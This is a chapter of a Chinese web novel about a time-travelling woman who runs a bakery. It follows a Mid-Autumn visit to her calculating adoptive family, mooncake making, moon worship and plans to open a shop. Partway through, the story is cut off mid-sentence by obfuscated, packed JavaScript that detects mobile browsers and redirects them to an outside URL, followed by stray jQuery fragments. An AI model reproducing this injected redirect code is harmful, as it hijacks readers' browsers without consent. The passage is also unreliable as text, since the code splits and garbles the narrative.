25. 此间月

作品:《赵娘子今天倒闭了吗

    等周五郎把该送的礼盒送完,家中就停了烤炉准备祭月。


    中秋这一日,不光只是一家人聚在一起吃顿饭了事,晚间的时候家中女眷是要抬香案,置办吃食酒水来拜月的。


    上午,赵意如回了一趟赵家,当然,这是被王氏强迫的。


    尽管赵意如再三表示不用去,但王氏到底不清楚她与赵家最核心的恩怨,再三劝导:


    “三娘,我知道你不喜欢他们,可为着自己以后还是去吧,让五郎和阿芸陪着你一起。”


    两家总归是有着表面上的“亲缘关系”,王氏愿意为了孩子粉饰太平,帮着赵意如备了些东西,叫周五郎跟着赵意如走了一趟赵家。


    养母陈氏见赵意如忽然上门,她难堪又畏惧,但当看着周五郎带来的节礼时,心中又生了些许欢喜。


    家里如今拿不出钱来置办这个中秋了,有了这些东西,晚上的香案上可以好看一些。


    她把人迎进堂屋,让五娘给他们倒茶水喝。


    长嫂孙氏先是看了一眼神色复杂的婆母,精明的眼珠子一转,上去跟五娘一起待客。


    周五郎把东西放好,对陈氏道:“我娘……”


    “五郎尝尝我家的茶水可还入得口。”


    孙氏不等他继续说,忙给他端了一碗茶。


    赵意如狐疑地看了她一眼,没明白她为何要打断五郎说话。


    周五郎只好接过茶碗,喝了一口砸吧嘴,心道怪苦的。


    陈氏看着周五郎放下茶碗,说:“你娘……”


    孙氏悄悄拧了无虞一把,无虞嗷一嗓子就哭开了,陈氏止了话头,赶紧去哄。


    趁着大家都顾不上张嘴,孙氏赶紧拉着赵意如笑着说:


    “好妹妹,难为你这么孝顺娘,送来这些东西,真是有心了,中午别回去了,就在家里吃饭。”


    周五郎抬头看了孙氏一眼,赵意如闻言扯了扯嘴角。


    她可不愿再吃赵家一口饭,顺势站起来辞道:“来的时候阿娘已经做好饭了,就不在这吃了,稚芸咱们回去吧。”


    陈氏哄孩子的手一顿,有些泛酸地看了赵意如一眼,但也只是一眼,心里又盼着她赶紧走。


    她实在不知道怎么面对赵意如了。


    孙氏本也不是真心想留,见她要走忙起身相送至门外:“三娘,有空记得回家来玩,无忧无虞总惦记你。”


    等转过弯,看不到孙氏那张笑脸,周稚芸吐吐舌头:“她真没礼貌,做什么不叫五哥开口。”


    周五郎敲了妹妹脑袋一下:“呆子,你想想她三番两次阻止我和陈婶讲话是为了什么?”


    周稚芸哪里知道这个,但她认真思考了一下。


    “不让一个人说话,是怕他说出自己不想听的,咱们今日是送礼去的,又不是找茬,哪里会说什么尖酸的话,左不过就是你客套来我客套回去,礼尚往来呗。”


    周五郎赞她:“还不算太笨,然后呢?”


    周稚芸拧眉不言语了,哪里猜得准旁人肚子里有什么思量。


    赵意如这会也反映过来了:“她还是老样子,待人总先存着几分算计的心思。”


    周五郎原顾着赵意如的脸面,不好明说,见她这会明白过来了,才道:


    “她不叫我说话,是怕我说这些礼是阿娘让我送的。”


    周稚芸:“本来就是阿娘让我们来的呀?”


    “呆瓜!东西姓周是要还礼的,要是三娘送的,就是孝敬,你见过哪个父母还礼晚辈的年节孝敬的!”


    周稚芸瞪大了眼睛,恍然大悟:


    “天爷!我怎么没想到这个,怪不得你一说我娘她就插嘴,敢情是怕你说出这是咱们周家给的东西啊,原来她不想还礼!”


    周稚芸气得翻了个白眼:“谁想贪他们的回礼!”


    今日这些礼本就是阿姐拿钱让阿娘置办的,赵家人的心窍怕说是有九孔!


    赵意如面带讽刺,打算找个机会将送去的东西找补回来,她就不能让赵家再占她一丁点便宜!


    回到家,简单吃了些午饭,就开始帮着王氏准备中秋晚饭。


    今日大节,不光是为了庆祝自然节律,还有给上苍报秋,传达百姓们丰收的喜悦的意思。


    宴上新米、秋蟹、桂花必不可少。


    赵意如做了桂花发糕,早前酿了桂花米酒,周爹爹早就定了肥蟹,买了羊肉。


    王氏蒸了枣糕,又准备了牡丹茶、红枣、柿子、石榴等,一一陈列在院中的大桌上。


    院子里鱼虾鲜活,秋蔬翠亮,这一切光是看着就让人内心丰足。


    赵意如也在供桌上奉上了自己前日做的广式月饼,今日回油正好。


    王氏等没见过这种吃食,问她这个叫什么。


    赵意如知道这里没有月饼这个称呼,便道:“这饼子形似中秋满月,咱们叫它月团饼,或者月饼吧。”


    周四嫂见这月团饼上有的印着莲花纹,还有牡丹和石榴花纹的,寓意富贵团圆,真真应景极了。


    她忍不住问:“三娘,你哪里学的这手艺,这印花的模子是你亲手刻的么?瞧瞧多精致。”


    从前的赵意如只知道读书写字,简单的饭食时是会做的,但不至于如此手巧。


    赵意如不得不再三解释:


    “以前在书肆偶然翻看过一本古书食谱,记下了几个方子,又试着改良了一下,我也是偷着试了许多次才做成的。”


    “至于印花模子倒要问五哥了。”


    她打趣地看了一眼周五郎,“我手笨得很,这是柳娘子的手艺。”


    柳家人祖传的木匠手艺,原本这手艺是传男不传女的,但柳家人丁稀薄,柳娘子家一共就姐妹两个。


    柳娘子自小耳濡目染,有一手好刻功,这月饼模具,就是赵意如画了样子,托请柳娘子做的。


    众人对这月饼从外形到内馅都赞不绝口。


    周五郎也跟着尝了一块,只觉外皮油润馅料扎实,十分顶饱。


    周五郎觉得这个比起酥皮饼子更适合长途携带以便补充干粮口味,他悄悄留下一个包好,准备看看能放置多久不腐坏。


    团圆夜,周家两房聚在一起吃饭庆贺,张氏和曹氏下午也过来帮手。


    张氏看起来已经无恙,她儿媳曹氏的眉宇间反而带了几分愁绪。


    她看到婆婆刻意凑到赵三娘身边跟她闲话,一时间眉头皱得更紧了。


    张氏小声道:“三娘,你的耳朵治好了么?”


    赵意如正在想旁的事情,一时没注意张氏说了什么,反映慢了半拍:“大伯娘,您刚才说了什么?”


    这样容貌性情的孩子,竟成了个半聋!


    真是可惜,但想想自己的盘算后又有些幸然。


    张氏声音大了几分:“没什么,想问问你玩月羹要什么时辰开始煮。


    玩月羹就是用桂圆、莲子、藕粉、桂花等食材煮的甜品。


    冷却后汤汁澄澈如玉湖,赏月时轻轻搅动碗中月亮的倒影。


    这种捞月戏福的游戏,既浪漫,又充满了市井趣味。


    蟾宫冷韵,自然是温凉时食用最佳:“咱们饭后就开始煮,等祭月完毕食用正好。”


    张氏应了一声,将泡发的莲子逐一挖去莲心。


    晚间众人聚在一起吃团圆饭,席间男人们讨论着今年的庄稼收成,女人们商量过冬储备。


    最快乐的还是小孩子们,今日不仅吃得痛快,玩的也开心。


    赵意如熬了一锅糖浆,在干净的石板上作画,一只只焦糖色的小兔子转瞬画成,分给几个小娃娃举着。


    他们再没想到这个新得的姑母如此巧手,这独一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118045|194353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    份的新鲜玩意他们哪个都舍不得吃,赶忙找同村的小伙伴们炫耀去了。


    饭食毕,天凉如水,圆魄凌空,赵意如抬头望月。


    这轮明月在一千多年以后照亮过她无数个黑夜,如今她穿过时空的壁垒,再次与皎月重逢。


    它还是那样宁静地回望着自己。


    无言的月光倾泻在她的衣衫上,那样的轻柔,却让她忍不住心魂震颤。


    那种荒诞的感觉又来了,她在这里是真实存在的么?


    这一切的一切真的不是自己的臆想架构而成的梦境么?


    “阿姐,阿姐?”


    周稚芸小声呼唤,将她追逐银辉的思绪拉回。


    赵意如看见王氏正焚香叩拜:“牡丹仙子在天保佑,愿我家孩儿们姻缘美满,子孙昌隆。”


    她也跟着祭了酒水,磕头小声许愿:


    “愿这一切都不是梦,愿我在这里能够内心安宁,顺遂一生。”


    过了中秋,赵意如又歇息了几日,重新开炉做生意,节后的生意比节前淡了不少。


    但周五郎并不灰心,反而对这门生意很看好。


    但他也有忧虑,雨季和冬天的时候行路不便,还是得有个铺面才安稳长久。


    这日他卖完了货在城里转了转,下意识就转到了李记糕饼的店门口,他家依旧是门面紧闭的停业状态。


    透过门缝去瞧,见里头桌椅横斜柜台凌乱,一看就是被砸过,他心中一惊,忙去临近的米铺打听。


    他称了些红豆:“李家糕饼铺怎么关门了?我想买些七返糕呢!”


    那小伙计一边给装货,一边道:“客观您换一家去买吧,他家还指不定啥时候能开张呢!”


    周五郎疑惑:“李掌柜这是出什么事了吗?”


    “要不说这人要走了背运就甩不脱呢!”


    小伙计连连叹气。


    “他家先是死了女儿,节前有人说他家糕饼不新鲜,吃坏了人了,一群人抬着个半死不活的病患过来闹事,店都给砸了不说,老两口也叫关了进去,不知道出来了没有。”


    周五郎跟着附和:“是够倒霉的,他家铺面位置好,耽误这些时日不知道要少多少进项。”


    那伙计收了钱,又见四下无人注意这边,悄声靠近周五郎一些,悄声道:


    “这是得罪了人,叫人算计了,头先李老伯还说要把店面赁出去呢,现在..啧啧,谁敢接,钱是好东西,可惜上头裹着刺儿呢!”


    周五郎从米铺里出来,又看了一眼李家的门头,心里暗道可惜。


    他家店位置实在不错。


    回家后,周五郎将自己的想法说给赵意如听,又说了李家铺面的事情。


    赵意如心里也起了赁个铺子的心思,只是她怕麻烦:


    “李家不知道牵扯进什么样的恩怨里面了,咱们升斗小民不要掺和进去的好,五哥劳烦你再多逛逛,或者咱们花点钱让牙行去办。”


    这些时日周稚芸跟着赚了不少钱,王氏一文没收,全部留作她的私房。


    过了年她满十六岁,就可以议亲了,有了这些钱财傍身,周稚芸底气都足了。


    听说赵意如准备开铺子,欣喜异常,表示等铺子开了,她定要在里面做工。


    她现在明白了一个道理:只要自己能撑伞,将来也不必惧怕风雨无常。


    赵意如打趣:“行,等咱们开了店,就让你做掌柜的。”


    周稚芸嘿嘿一笑:“我不跟阿兄抢做掌柜,我喜欢搓面团,看着一团团的软面被团成团,捏成花,我心里很开心,也很满足。”


    赵意如教会稚芸好几种花酥的做法,这小丫头学得很快,手也灵巧。


    最重要的是她十分喜欢这个营生。


    有了她做帮手,赵意如心中的小小愿望想来也不难实现。